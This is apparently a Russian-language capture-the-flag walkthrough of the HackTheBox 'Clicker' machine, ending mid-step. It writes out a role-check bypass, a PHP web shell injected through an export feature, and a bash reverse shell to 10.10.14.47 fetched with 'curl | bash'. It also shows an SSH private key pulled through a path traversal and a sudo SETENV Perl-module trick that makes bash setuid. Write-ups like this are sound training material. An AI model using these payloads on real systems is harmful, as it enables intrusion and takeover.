Обзор сервисов
Машине присвоен IP-адрес 10.10.11.232
. Проведем стандартное сканирование с помощью nmap
:
$ nmap --privileged -sS -p1-65535 -Pn -oN 10.10.11.232 10.10.11.232
Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-24 19:54 GMT
Nmap scan report for 10.10.11.232
Host is up (0.049s latency).
Not shown: 65525 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
4545/tcp open worldscores
36659/tcp open unknown
38177/tcp open unknown
38787/tcp open unknown
46779/tcp open unknown
51905/tcp open unknown
Весьма много сервисов, что нетипично для Linux-машины в HackTheBox.
Веб-сервис
Перейдем на веб-сервис с помощью браузера и увидим, что необходимо прописать домен в /etc/hosts
:
$ sudo nano /etc/hosts
10.10.11.232 clicker.htb
Веб-сервис - это игра, в которой есть регистрация и логин. После логина нас ждет кликер - нужно кликать и повышать уровни. Можно сохранять игру, после чего будет выполняться запрос /save_game.php?clicks=КОЛИЧЕСТВО_КЛИКОВ&level=УРОВЕНЬ
.
NFS
Проверим, какие каталоги экспортируются через NFS.
$ /sbin/showmount --exports 10.10.11.232
Export list for 10.10.11.232:
/mnt/backups *
Примонтируем в локальную папку.
$ mkdir backups
$ sudo mount -t nfs 10.10.11.232:/mnt/backups backups/
$ ls -la
total 2240
drwxr-xr-x 2 nobody nogroup 4096 Sep 5 19:19 .
drwxr-xr-x 4 user user 4096 Sep 24 20:06 ..
-rw-r--r-- 1 root root 2284115 Sep 1 20:27 clicker.htb_backup.zip
$ cp clicker.htb_backup.zip ..
$ cd ..
$ unzip clicker.htb_backup.zip
$ cd clicker.htb
В файле save_game.php
есть некая защита от пробрасывания роли.
В файле export.php
есть невалидируемый входной параметр extension
, который мы можем изменять.
Отправим запрос /save_game.php?clicks=0&level=0&role/**/=Admin
, чтобы обойти проверку, после чего выйдем и залогинимся заново.
Теперь мы имеем доступ к панели администратора, а также к файлу /export.php
.
Возьмем простейший шелл:
<?php echo(system($_GET['cmd'])); ?>
Закодируем в URLencode:
%3c%3f%70%68%70%20%65%63%68%6f%28%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%29%3b%20%3f%3e
Теперь подставим в save_game.php
в качестве параметра nickname
:
А затем запустим экспорт:
Теперь у нас есть web-shell:
http://clicker.htb/exports/top_players_00bwjs0r.php?cmd=whoami
Загрузим шелл.
$ nano s.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.47/4243 0>&1
$ python3 -m http.server 4242
$ rlwrap nc -lnvp 4243
Перейдем по ссылке и поймаем шелл:
http://clicker.htb/exports/top_players_00bwjs0r.php?cmd=curl%20http://10.10.14.47:4242/s.sh%20|%20bash
Пользователь
В каталоге /opt/manage
найдем интересный бинарник.
meterpreter > ls
Listing: /opt/manage
====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100664/rw-rw-r-- 256 fil 2023-07-21 22:29:16 +0000 README.txt
106775/rwxrwxr-x 16368 fil 2023-02-26 16:46:12 +0000 execute_query
meterpreter > cat README.txt
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the admin
В бинарнике выполняется от пользователя 1000:1000
(jack
) некий скрипт.
>>> bytes.fromhex("2f736569726575712f6b63616a2f656d6f682f").decode("utf-8")[::-1]
'/home/jack/queries/'
>>> bytes.fromhex("203c20762d2072656b63696c63202764726f77737361705f62645f72656b63696c63273d64726f77737361702d2d20726573755f62645f72656b63696c6320752d206c7173796d2f6e69622f7273752f").decode("utf-8")[::-1]
"/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < "
Это значит, что мы можем вытащить приватный ключ пользователя jack
:
./execute_query 5 "../.ssh/id_rsa"
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV
Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu
nuw3l/luyvRGDN8fyumTeIXVAdPfOqMqTOVECo7hAoY+uYWKfiHxOX4fo+/fNwdcfctBUm
...
Теперь можем подключиться как jack
по ssh:
ssh -i id_rsa [email protected]
Пользовательский флаг
Повышение привилегий
Посмотрим, что пользователь может выполнять с помощью sudo
:
$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
Мы можем выполнять мониторинговый скрипт и переопределять переменные. Если посмотреть в скрипт, то увидим, что он вызывает файл /usr/bin/xml_pp
, а это Perl скрипт. Воспользуемся инструкцией.
$ nano /tmp/root.pm
package root;
use strict;
use warnings;
system("chmod +s /bin/bash");
Затем запускаем мониторинговый скрипт с переопределением переменных и bash
: